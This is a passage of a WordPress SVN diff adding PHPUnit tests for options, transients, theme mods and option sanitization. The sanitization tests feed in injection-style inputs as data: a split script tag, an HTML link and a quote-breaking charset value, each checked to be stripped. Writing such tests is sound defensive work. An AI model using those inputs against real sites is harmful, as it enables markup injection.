+	function test_sanitize_network_option_limited_email_domains( $option_value, $sanitized_option_value ) {
+		update_site_option( 'limited_email_domains', $option_value );
+		$this->assertEquals( $sanitized_option_value, get_site_option( 'limited_email_domains' ) );
+	}
+
+	/**
+	 * @dataProvider data_email_domains
+	 *
+	 * @param $option_value
+	 * @param $sanitized_option_value
+	 */
+	function test_sanitize_network_option_banned_email_domains( $option_value, $sanitized_option_value ) {
+		update_site_option( 'banned_email_domains', $option_value );
+		$this->assertEquals( $sanitized_option_value, get_site_option( 'banned_email_domains' ) );
+	}
+
+	function data_email_domains() {
+		return array(
+			array( array( 'woo', '', 'boo.com', 'foo.net.biz..' ), array( 'woo', 'boo.com' ) ),
+			array( "foo\nbar", array( 'foo', 'bar' ) ),
+			array( "foo\n\nbar", array( 'foo', 'bar' ) ),
+			array( "\nfoo\nbar\n", array( 'foo', 'bar' ) ),
+			array( "foo\nfoo.net.biz..", array( 'foo' ) ),
+			array( "foo\nfoo.net.biz..\nbar.com", array( 'foo', 'bar.com' ) ),
+			array( 'foo.', array( 'foo.' ) ),
+			array( '.foo', array( '.foo' ) ),
+			array( 'foo^net', '' ),
+			array( array(), '' ),
+		);
+	}
+}
+
+endif;
Index: /tags/5.0.20/tests/phpunit/tests/option/networkOption.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/networkOption.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/networkOption.php	(revision 56912)
@@ -0,0 +1,124 @@
+<?php
+
+/**
+ * Tests specific to managing network options in multisite.
+ *
+ * Some tests will run in single site as the `_network_option()` functions
+ * are available and internally use `_option()` functions as fallbacks.
+ *
+ * @group option
+ * @group ms-option
+ * @group multisite
+ */
+class Tests_Option_NetworkOption extends WP_UnitTestCase {
+
+	/**
+	 * @group ms-required
+	 */
+	function test_add_network_option_not_available_on_other_network() {
+		$id = self::factory()->network->create();
+		$option = __FUNCTION__;
+		$value = __FUNCTION__;
+
+		add_site_option( $option, $value );
+		$this->assertFalse( get_network_option( $id, $option, false ) );
+	}
+
+	/**
+	 * @group ms-required
+	 */
+	function test_add_network_option_available_on_same_network() {
+		$id = self::factory()->network->create();
+		$option = __FUNCTION__;
+		$value = __FUNCTION__;
+
+		add_network_option( $id, $option, $value );
+		$this->assertEquals( $value, get_network_option( $id, $option, false ) );
+	}
+
+	/**
+	 * @group ms-required
+	 */
+	function test_delete_network_option_on_only_one_network() {
+		$id = self::factory()->network->create();
+		$option = __FUNCTION__;
+		$value = __FUNCTION__;
+
+		add_site_option( $option, $value );
+		add_network_option( $id, $option, $value );
+		delete_site_option( $option );
+		$this->assertEquals( $value, get_network_option( $id, $option, false ) );
+	}
+
+	/**
+	 * @ticket 22846
+	 * @group ms-excluded
+	 */
+	public function test_add_network_option_is_not_stored_as_autoload_option() {
+		$key = __FUNCTION__;
+
+		add_network_option( null, $key, 'Not an autoload option' );
+
+		$options = wp_load_alloptions();
+
+		$this->assertFalse( isset( $options[ $key ] ) );
+	}
+
+	/**
+	 * @ticket 22846
+	 * @group ms-excluded
+	 */
+	public function test_update_network_option_is_not_stored_as_autoload_option() {
+		$key = __FUNCTION__;
+
+		update_network_option( null, $key, 'Not an autoload option' );
+
+		$options = wp_load_alloptions();
+
+		$this->assertFalse( isset( $options[ $key ] ) );
+	}
+
+	/**
+	 * @dataProvider data_network_id_parameter
+	 *
+	 * @param $network_id
+	 * @param $expected_response
+	 */
+	function test_add_network_option_network_id_parameter( $network_id, $expected_response ) {
+		$option = rand_str();
+		$value = rand_str();
+
+		$this->assertEquals( $expected_response, add_network_option( $network_id, $option, $value ) );
+	}
+
+	/**
+	 * @dataProvider data_network_id_parameter
+	 *
+	 * @param $network_id
+	 * @param $expected_response
+	 */
+	function test_get_network_option_network_id_parameter( $network_id, $expected_response ) {
+		$option = rand_str();
+
+		$this->assertEquals( $expected_response, get_network_option( $network_id, $option, true ) );
+	}
+
+	function data_network_id_parameter() {
+		return array(
+			// Numeric values should always be accepted.
+			array( 1,   true ),
+			array( '1', true ),
+			array( 2,   true ),
+
+			// Null, false, and zero will be treated as the current network.
+			array( null,  true ),
+			array( false, true ),
+			array( 0,     true ),
+			array( '0',   true ),
+
+			// Other truthy or string values should be rejected.
+			array( true,     false ),
+			array( 'string', false ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/option.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/option.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/option.php	(revision 56912)
@@ -0,0 +1,140 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Option extends WP_UnitTestCase {
+
+	function __return_foo() {
+		return 'foo';
+	}
+
+	function test_the_basics() {
+		$key = 'key1';
+		$key2 = 'key2';
+		$value = 'value1';
+		$value2 = 'value2';
+
+		$this->assertFalse( get_option( 'doesnotexist' ) );
+		$this->assertTrue( add_option( $key, $value ) );
+		$this->assertEquals( $value, get_option( $key ) );
+		$this->assertFalse( add_option( $key, $value ) );  // Already exists
+		$this->assertFalse( update_option( $key, $value ) );  // Value is the same
+		$this->assertTrue( update_option( $key, $value2 ) );
+		$this->assertEquals( $value2, get_option( $key ) );
+		$this->assertFalse( add_option( $key, $value ) );
+		$this->assertEquals( $value2, get_option( $key ) );
+		$this->assertTrue( delete_option( $key ) );
+		$this->assertFalse( get_option( $key ) );
+		$this->assertFalse( delete_option( $key ) );
+
+		$this->assertTrue( update_option( $key2, $value2 ) );
+		$this->assertEquals( $value2, get_option( $key2 ) );
+		$this->assertTrue( delete_option( $key2 ) );
+		$this->assertFalse( get_option( $key2 ) );
+	}
+
+	function test_default_filter() {
+		$value = 'value';
+
+		$this->assertFalse( get_option( 'doesnotexist' ) );
+
+		// Default filter overrides $default arg.
+		add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'foo', get_option( 'doesnotexist', 'bar' ) );
+
+		// Remove the filter and the $default arg is honored.
+		remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'bar', get_option( 'doesnotexist', 'bar' ) );
+
+		// Once the option exists, the $default arg and the default filter are ignored.
+		add_option( 'doesnotexist', $value );
+		$this->assertEquals( $value, get_option( 'doesnotexist', 'foo' ) );
+		add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( $value, get_option( 'doesnotexist', 'foo' ) );
+		remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+
+		// Cleanup
+		$this->assertTrue( delete_option( 'doesnotexist' ) );
+		$this->assertFalse( get_option( 'doesnotexist' ) );
+	}
+
+	/**
+	 * @ticket 31047
+	 */
+	public function test_add_option_should_respect_default_option_filter() {
+		add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$added = add_option( 'doesnotexist', 'bar' );
+		remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+
+		$this->assertTrue( $added );
+		$this->assertSame( 'bar', get_option( 'doesnotexist' ) );
+	}
+
+	function test_serialized_data() {
+		$key = __FUNCTION__;
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( add_option( $key, $value ) );
+		$this->assertEquals( $value, get_option( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( update_option( $key, $value ) );
+		$this->assertEquals( $value, get_option( $key ) );
+		$this->assertTrue( delete_option( $key ) );
+	}
+
+	/**
+	 * @ticket 23289
+	 */
+	function test_bad_option_names() {
+		foreach ( array( '', '0', ' ', 0, false, null ) as $empty ) {
+			$this->assertFalse( get_option( $empty ) );
+			$this->assertFalse( add_option( $empty, '' ) );
+			$this->assertFalse( update_option( $empty, '' ) );
+			$this->assertFalse( delete_option( $empty ) );
+		}
+	}
+
+	/**
+	 * @ticket 23289
+	 * @expectedException WPDieException
+	 */
+	function test_special_option_name_alloption() {
+		delete_option( 'alloptions' );
+	}
+
+	/**
+	 * @ticket 23289
+	 * @expectedException WPDieException
+	 */
+	function test_special_option_name_notoptions() {
+		delete_option( 'notoptions' );
+	}
+
+	function data_option_autoloading() {
+		return array(
+			array( 'autoload_yes',    'yes',   'yes' ),
+			array( 'autoload_true',   true,    'yes' ),
+			array( 'autoload_string', 'foo',   'yes' ),
+			array( 'autoload_int',    123456,  'yes' ),
+			array( 'autoload_array',  array(), 'yes' ),
+			array( 'autoload_no',     'no',    'no'  ),
+			array( 'autoload_false',  false,   'no'  ),
+		);
+	}
+	/**
+	 * Options should be autoloaded unless they were added with "no" or `false`.
+	 *
+	 * @ticket 31119
+	 * @dataProvider data_option_autoloading
+	 */
+	function test_option_autoloading( $name, $autoload_value, $expected ) {
+		global $wpdb;
+		$added = add_option( $name, 'Autoload test', '', $autoload_value );
+		$this->assertTrue( $added );
+
+		$actual = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s LIMIT 1", $name ) );
+		$this->assertEquals( $expected, $actual->autoload );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/registration.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/registration.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/registration.php	(revision 56912)
@@ -0,0 +1,89 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Registration extends WP_UnitTestCase {
+	public function test_register() {
+		register_setting( 'test_group', 'test_option' );
+
+		$registered = get_registered_settings();
+		$this->assertArrayHasKey( 'test_option', $registered );
+
+		$args = $registered['test_option'];
+		$this->assertEquals( 'test_group', $args['group'] );
+
+		// Check defaults.
+		$this->assertEquals( 'string', $args['type'] );
+		$this->assertEquals( false, $args['show_in_rest'] );
+		$this->assertEquals( '', $args['description'] );
+	}
+
+	public function test_register_with_callback() {
+		register_setting( 'test_group', 'test_option', array( $this, 'filter_registered_setting' ) );
+
+		$filtered = apply_filters( 'sanitize_option_test_option', 'smart', 'test_option', 'smart' );
+		$this->assertEquals( 'S-M-R-T', $filtered );
+	}
+
+	public function test_register_with_array() {
+		register_setting( 'test_group', 'test_option', array(
+			'sanitize_callback' => array( $this, 'filter_registered_setting' ),
+		));
+
+		$filtered = apply_filters( 'sanitize_option_test_option', 'smart', 'test_option', 'smart' );
+		$this->assertEquals( 'S-M-R-T', $filtered );
+	}
+
+	public function filter_registered_setting() {
+		return 'S-M-R-T';
+	}
+
+	/**
+	 * @ticket 38176
+	 */
+	public function test_register_with_default() {
+		register_setting( 'test_group', 'test_default', array(
+			'default' => 'Fuck Cancer'
+		));
+
+		$this->assertEquals( 'Fuck Cancer', get_option( 'test_default' ) );
+	}
+
+	/**
+	 * @ticket 38176
+	 */
+	public function test_register_with_default_override() {
+		register_setting( 'test_group', 'test_default', array(
+			'default' => 'Fuck Cancer'
+		));
+
+		$this->assertEquals( 'Fuck Leukemia', get_option( 'test_default', 'Fuck Leukemia' ) );
+	}
+
+	/**
+	 * @ticket 38930
+	 */
+	public function test_add_option_with_no_options_cache() {
+		register_setting( 'test_group', 'test_default', array(
+			'default' => 'My Default :)',
+		));
+		wp_cache_delete( 'notoptions', 'options' );
+		$this->assertTrue( add_option( 'test_default', 'hello' ) );
+		$this->assertEquals( 'hello', get_option( 'test_default' ) );
+	}
+
+	/**
+	 * @expectedDeprecated register_setting
+	 */
+	public function test_register_deprecated_group_misc() {
+		register_setting( 'misc', 'test_option' );
+	}
+
+	/**
+	 * @expectedDeprecated register_setting
+	 */
+	public function test_register_deprecated_group_privacy() {
+		register_setting( 'privacy', 'test_option' );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/sanitize-option.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/sanitize-option.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/sanitize-option.php	(revision 56912)
@@ -0,0 +1,202 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Sanitize_Option extends WP_UnitTestCase {
+
+	/**
+	 * Data provider to test all of the sanitize_option() case
+	 *
+	 * Inner array params: $option_name, $sanitized, $original
+	 * @return array
+	 *
+	 */
+	public function sanitize_option_provider() {
+		return array(
+			array( 'admin_email', 'mail@example.com', 'mail@example.com' ),
+			array( 'admin_email', get_option( 'admin_email' ), 'invalid' ),
+			array( 'page_on_front', 0, 0 ),
+			array( 'page_on_front', 10, '-10' ),
+			array( 'posts_per_page', 10, 10 ),
+			array( 'posts_per_page', -1, -1 ),
+			array( 'posts_per_page', 2, -2 ),
+			array( 'posts_per_page', 1, 'ten' ),
+			array( 'default_ping_status', 'open', 'open' ),
+			array( 'default_ping_status', 'closed', '' ),
+			array( 'blogname', 'My Site', 'My Site' ),
+			array( 'blogname', '&lt;i&gt;My Site&lt;/i&gt;', '<i>My Site</i>' ),
+			array( 'blog_charset', 'UTF-8', 'UTF-8' ),
+			array( 'blog_charset', 'charset', '">charset<"' ),
+			array( 'blog_public', 1, null ),
+			array( 'blog_public', 1, '1' ),
+			array( 'blog_public', -2, '-2' ),
+			array( 'date_format', 'F j, Y', 'F j, Y' ),
+			array( 'date_format', 'F j, Y', 'F j, <strong>Y</strong>' ),
+			array( 'ping_sites', 'http://rpc.pingomatic.com/', 'http://rpc.pingomatic.com/' ),
+			array( 'ping_sites', "http://www.example.com\nhttp://example.org", "www.example.com \n\texample.org\n\n" ),
+			array( 'gmt_offset', '0', 0 ),
+			array( 'gmt_offset', '1.5', '1.5' ),
+			array( 'siteurl', 'http://example.org', 'http://example.org' ),
+			array( 'siteurl', 'http://example.org/subdir', 'http://example.org/subdir' ),
+			array( 'siteurl', get_option( 'siteurl' ), '' ),
+			array( 'home', 'http://example.org', 'http://example.org' ),
+			array( 'home', 'https://example.org', 'https://example.org' ),
+			array( 'home', 'http://localhost:8000', 'http://localhost:8000' ),
+			array( 'home', get_option( 'home' ), '' ),
+			array( 'WPLANG', 0, 0 ),
+			array( 'WPLANG', '', '' ),
+			array(
+				'illegal_names',
+				array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
+				array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
+			),
+			array(
+				'illegal_names',
+				array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
+				"www     web root admin main invite administrator files",
+			),
+			array(
+				'banned_email_domains',
+				array( 'mail.com', 'gmail.com' ),
+				array( 'mail.com', 'gmail.com' ),
+			),
+			array(
+				'banned_email_domains',
+				array( 'mail.com' ),
+				"mail.com\ngmail,com",
+			),
+			array( 'timezone_string', 0, 0 ),
+			array( 'timezone_string', 'Europe/London', 'Europe/London' ),
+			array( 'timezone_string', get_option( 'timezone_string' ), 'invalid' ),
+			array( 'permalink_structure', '', '' ),
+			array( 'permalink_structure', '/%year%/%20%postname%', '/%year%/ %postname%' ),
+			array( 'default_role', 'subscriber', 'subscriber' ),
+			array( 'default_role', 'subscriber', 'invalid' ),
+			array( 'default_role', 'editor', 'editor' ),
+			array( 'moderation_keys', 'string of words', 'string of words' ),
+			array( 'moderation_keys', "one\ntwo three", "one\none\ntwo three" ),
+		);
+	}
+
+	/**
+	 * @dataProvider sanitize_option_provider
+	 */
+	public function test_sanitize_option( $option_name, $sanitized, $original ) {
+		$this->assertSame( $sanitized, sanitize_option( $option_name, $original ) );
+	}
+
+	public function upload_path_provider()  {
+		return array(
+			array( '<a href="http://www.example.com">Link</a>', 'Link' ),
+			array( '<scr' . 'ipt>url</scr' . 'ipt>', 'url' ),
+			array( '/path/to/things', '/path/to/things' ),
+			array( '\path\to\things', '\path\to\things' ),
+		);
+	}
+
+	/**
+	 * @dataProvider upload_path_provider
+	 */
+	public function test_sanitize_option_upload_path( $provided, $expected ) {
+		$this->assertSame( $expected, sanitize_option( 'upload_path', $provided ) );
+	}
+
+	/**
+	 * @ticket 36122
+	 */
+	public function test_emoji_in_blogname_and_description() {
+		global $wpdb;
+
+		$value = "whee\xf0\x9f\x98\x88";
+
+		if ( 'utf8mb4' === $wpdb->get_col_charset( $wpdb->options, 'option_value' ) ) {
+			$expected = $value;
+		} else {
+			$expected = 'whee&#x1f608;';
+		}
+
+		$this->assertSame( $expected, sanitize_option( 'blogname', $value ) );
+		$this->assertSame( $expected, sanitize_option( 'blogdescription', $value ) );
+	}
+
+	/**
+	 * @dataProvider permalink_structure_provider
+	 */
+	public function test_sanitize_permalink_structure( $provided, $expected, $valid ) {
+		global $wp_settings_errors;
+
+		$old_wp_settings_errors = (array) $wp_settings_errors;
+
+		$actual = sanitize_option( 'permalink_structure', $provided);
+		$errors = get_settings_errors( 'permalink_structure' );
+
+		// Clear errors.
+		$wp_settings_errors = $old_wp_settings_errors;
+
+		if ( $valid ) {
+			$this->assertEmpty( $errors );
+		} else {
+			$this->assertNotEmpty( $errors );
+			$this->assertEquals( 'invalid_permalink_structure', $errors[0]['code'] );
+		}
+
+		$this->assertEquals( $expected, $actual );
+	}
+
+	public function permalink_structure_provider() {
+		return array(
+			array( '', '', true ),
+			array( '%postname', false, false ),
+			array( '%/%', false, false ),
+			array( '%%%', false, false ),
+			array( '%a%', '%a%', true ),
+			array( '%postname%', '%postname%', true ),
+			array( '/%postname%/', '/%postname%/', true ),
+			array( '/%year%/%monthnum%/%day%/%postname%/', '/%year%/%monthnum%/%day%/%postname%/', true ),
+			array( '/%year/%postname%/', '/%year/%postname%/', true ),
+		);
+	}
+
+	/**
+	 * Test calling get_settings_errors() with variations on where it gets errors from.
+	 *
+	 * @ticket 42498
+	 * @covers get_settings_errors()
+	 * @global array $wp_settings_errors
+	 */
+	public function test_get_settings_errors_sources() {
+		global $wp_settings_errors;
+
+		$blogname_error = array(
+			'setting' => 'blogname',
+			'code'    => 'blogname',
+			'message' => 'Capital P dangit!',
+			'type'    => 'error',
+		);
+		$blogdescription_error = array(
+			'setting' => 'blogdescription',
+			'code'    => 'blogdescription',
+			'message' => 'Too short',
+			'type'    => 'error',
+		);
+
+		$wp_settings_errors = null;
+		$this->assertSame( array(), get_settings_errors( 'blogname' ) );
+
+		// Test getting errors from transient.
+		$_GET['settings-updated'] = '1';
+		set_transient( 'settings_errors', array( $blogname_error ) );
+		$wp_settings_errors = null;
+		$this->assertSame( array( $blogname_error ), get_settings_errors( 'blogname' ) );
+
+		// Test getting errors from transient and from global.
+		$_GET['settings-updated'] = '1';
+		set_transient( 'settings_errors', array( $blogname_error ) );
+		$wp_settings_errors = null;
+		add_settings_error( $blogdescription_error['setting'], $blogdescription_error['code'], $blogdescription_error['message'], $blogdescription_error['type'] );
+		$this->assertEqualSets( array( $blogname_error, $blogdescription_error ), get_settings_errors() );
+
+		$wp_settings_errors = null;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/siteOption.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/siteOption.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/siteOption.php	(revision 56912)
@@ -0,0 +1,152 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_SiteOption extends WP_UnitTestCase {
+	function __return_foo() {
+		return 'foo';
+	}
+
+	function test_get_site_option_returns_false_if_option_does_not_exist() {
+		$this->assertFalse( get_site_option( 'doesnotexist' ) );
+	}
+
+	function test_get_site_option_returns_false_after_deletion() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		delete_site_option( $key );
+		$this->assertFalse( get_site_option( $key ) );
+	}
+
+	function test_get_site_option_returns_value() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		$this->assertEquals( $value, get_site_option( $key ) );
+	}
+
+	function test_get_site_option_returns_updated_value() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__ . '_1';
+		$new_value = __FUNCTION__ . '_2';
+		add_site_option( $key, $value );
+		update_site_option( $key, $new_value );
+		$this->assertEquals( $new_value, get_site_option( $key ) );
+	}
+
+	function test_get_site_option_does_not_exist_returns_filtered_default_with_no_default_provided() {
+		add_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$site_option = get_site_option( 'doesnotexist' );
+		remove_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'foo', $site_option );
+	}
+
+	function test_get_site_option_does_not_exist_returns_filtered_default_with_default_provided() {
+		add_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$site_option = get_site_option( 'doesnotexist', 'bar' );
+		remove_filter( 'default_site_option_doesnotexist', array( $this, '__return_foo' ) );
+		$this->assertEquals( 'foo', $site_option );
+	}
+
+	function test_get_site_option_does_not_exist_returns_provided_default() {
+		$this->assertEquals( 'bar', get_site_option( 'doesnotexist', 'bar' ) );
+	}
+
+	function test_get_site_option_exists_does_not_return_provided_default() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		$this->assertEquals( $value, get_site_option( $key, 'foo' ) );
+	}
+
+	function test_get_site_option_exists_does_not_return_filtered_default() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		add_filter( 'default_site_option_' . $key , array( $this, '__return_foo' ) );
+		$site_option = get_site_option( $key );
+		remove_filter( 'default_site_option_' . $key, array( $this, '__return_foo' ) );
+		$this->assertEquals( $value, $site_option );
+	}
+
+	function test_add_site_option_returns_true_for_new_option() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		$this->assertTrue( add_site_option( $key, $value ) );
+	}
+
+	function test_add_site_option_returns_false_for_existing_option() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		$this->assertFalse( add_site_option( $key, $value ) );
+	}
+
+	function test_update_site_option_returns_false_for_same_value() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		$this->assertFalse( update_site_option( $key, $value ) );
+	}
+
+	function test_update_site_option_returns_true_for_new_value() {
+		$key = 'key';
+		$value = 'value1';
+		$new_value = 'value2';
+		add_site_option( $key, $value );
+		$this->assertTrue( update_site_option( $key, $new_value ) );
+	}
+
+	function test_delete_site_option_returns_true_if_option_exists() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		$this->assertTrue( delete_site_option( $key ) );
+	}
+
+	function test_delete_site_option_returns_false_if_option_does_not_exist() {
+		$key = __FUNCTION__;
+		$value = __FUNCTION__;
+		add_site_option( $key, $value );
+		delete_site_option( $key );
+		$this->assertFalse( delete_site_option( $key ) );
+	}
+
+	function test_site_option_add_and_get_serialized_array() {
+		$key = __FUNCTION__;
+		$value = array( 'foo' => true, 'bar' => true );
+		add_site_option( $key, $value );
+		$this->assertEquals( $value, get_site_option( $key ) );
+	}
+
+	function test_site_option_add_and_get_serialized_object() {
+		$key = __FUNCTION__;
+		$value = new stdClass();
+		$value->foo = true;
+		$value->bar = true;
+		add_site_option( $key, $value );
+		$this->assertEquals( $value, get_site_option( $key ) );
+	}
+
+	// #15497 - ensure update_site_option will add options with false-y values
+	function test_update_adds_falsey_value() {
+		$key = __FUNCTION__;
+		$value = 0;
+
+		delete_site_option( $key );
+		$this->assertTrue( update_site_option( $key, $value ) );
+		$this->flush_cache(); // ensure we're getting the value from the DB
+		$this->assertEquals( $value, get_site_option( $key ) );
+	}
+
+	// #18955 - ensure get_site_option doesn't cache the default value for non-existent options
+	function test_get_doesnt_cache_default_value() {
+		$option = __FUNCTION__;
+		$default = 'a default';
+
+		$this->assertEquals( get_site_option( $option, $default ), $default );
+		$this->assertFalse( get_site_option( $option ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/siteTransient.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/siteTransient.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/siteTransient.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_SiteTransient extends WP_UnitTestCase {
+
+	public function setUp() {
+		parent::setUp();
+
+		if ( wp_using_ext_object_cache() ) {
+			$this->markTestSkipped( 'Not testable with an external object cache.' );
+		}
+	}
+
+	function test_the_basics() {
+		$key = 'key1';
+		$value = 'value1';
+		$value2 = 'value2';
+
+		$this->assertFalse( get_site_transient( 'doesnotexist' ) );
+		$this->assertTrue( set_site_transient( $key, $value ) );
+		$this->assertEquals( $value, get_site_transient( $key ) );
+		$this->assertFalse( set_site_transient( $key, $value ) );
+		$this->assertTrue( set_site_transient( $key, $value2 ) );
+		$this->assertEquals( $value2, get_site_transient( $key ) );
+		$this->assertTrue( delete_site_transient( $key ) );
+		$this->assertFalse( get_site_transient( $key ) );
+		$this->assertFalse( delete_site_transient( $key ) );
+	}
+
+	function test_serialized_data() {
+		$key = __FUNCTION__;
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( set_site_transient( $key, $value ) );
+		$this->assertEquals( $value, get_site_transient( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( set_site_transient( $key, $value ) );
+		$this->assertEquals( $value, get_site_transient( $key ) );
+		$this->assertTrue( delete_site_transient( $key ) );
+	}
+
+	/**
+	 * @ticket 22846
+	 * @group ms-excluded
+	 */
+	public function test_set_site_transient_is_not_stored_as_autoload_option() {
+		$key = 'not_autoloaded';
+
+		set_site_transient( $key, 'Not an autoload option' );
+
+		$options = wp_load_alloptions();
+
+		$this->assertFalse( isset( $options[ '_site_transient_' . $key ] ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/slashes.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/slashes.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/slashes.php	(revision 56912)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * @group option
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Option_Slashes extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		// it is important to test with both even and odd numbered slashes as
+		// kses does a strip-then-add slashes in some of its function calls
+		$this->slash_1 = 'String with 1 slash \\';
+		$this->slash_2 = 'String with 2 slashes \\\\';
+		$this->slash_3 = 'String with 3 slashes \\\\\\';
+		$this->slash_4 = 'String with 4 slashes \\\\\\\\';
+		$this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+		$this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+		$this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+	}
+
+	/**
+	 * Tests the model function that expects un-slashed data
+	 *
+	 */
+	function test_add_option() {
+		add_option( 'slash_test_1', $this->slash_1 );
+		add_option( 'slash_test_2', $this->slash_2 );
+		add_option( 'slash_test_3', $this->slash_3 );
+		add_option( 'slash_test_4', $this->slash_4 );
+
+		$this->assertEquals( $this->slash_1, get_option( 'slash_test_1' ) );
+		$this->assertEquals( $this->slash_2, get_option( 'slash_test_2' ) );
+		$this->assertEquals( $this->slash_3, get_option( 'slash_test_3' ) );
+		$this->assertEquals( $this->slash_4, get_option( 'slash_test_4' ) );
+	}
+
+	/**
+	 * Tests the model function that expects un-slashed data
+	 *
+	 */
+	function test_update_option() {
+		add_option( 'slash_test_5', 'foo' );
+
+		update_option( 'slash_test_5', $this->slash_1 );
+		$this->assertEquals( $this->slash_1, get_option( 'slash_test_5' ) );
+
+		update_option( 'slash_test_5', $this->slash_2 );
+		$this->assertEquals( $this->slash_2, get_option( 'slash_test_5' ) );
+
+		update_option( 'slash_test_5', $this->slash_3 );
+		$this->assertEquals( $this->slash_3, get_option( 'slash_test_5' ) );
+
+		update_option( 'slash_test_5', $this->slash_4 );
+		$this->assertEquals( $this->slash_4, get_option( 'slash_test_5' ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/themeMods.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/themeMods.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/themeMods.php	(revision 56912)
@@ -0,0 +1,35 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Theme_Mods extends WP_UnitTestCase {
+
+	function test_theme_mod_default() {
+		$this->assertEquals( '', get_theme_mod( 'non_existent' ) );
+	}
+
+	function test_theme_mod_defined_default() {
+		$this->assertEquals( 'default', get_theme_mod( 'non_existent', 'default' ) );
+	}
+
+	function test_theme_mod_set() {
+		$expected = 'value';
+		set_theme_mod( 'test_name', $expected );
+		$this->assertEquals( $expected, get_theme_mod( 'test_name' ) );
+	}
+
+	function test_theme_mod_update() {
+		set_theme_mod( 'test_update', 'first_value' );
+		$expected = 'updated_value';
+		set_theme_mod( 'test_update', $expected );
+		$this->assertEquals( $expected, get_theme_mod( 'test_update' ) );
+	}
+
+	function test_theme_mod_remove() {
+		set_theme_mod( 'test_remove', 'value' );
+		remove_theme_mod( 'test_remove' );
+		$this->assertEquals( '', get_theme_mod( 'test_remove' ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/transient.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/transient.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/transient.php	(revision 56912)
@@ -0,0 +1,157 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_Transient extends WP_UnitTestCase {
+
+	public function setUp() {
+		parent::setUp();
+
+		if ( wp_using_ext_object_cache() ) {
+			$this->markTestSkipped( 'Not testable with an external object cache.' );
+		}
+	}
+
+	function test_the_basics() {
+		$key = 'key1';
+		$value = 'value1';
+		$value2 = 'value2';
+
+		$this->assertFalse( get_transient( 'doesnotexist' ) );
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+		$this->assertFalse( set_transient( $key, $value ) );
+		$this->assertTrue( set_transient( $key, $value2 ) );
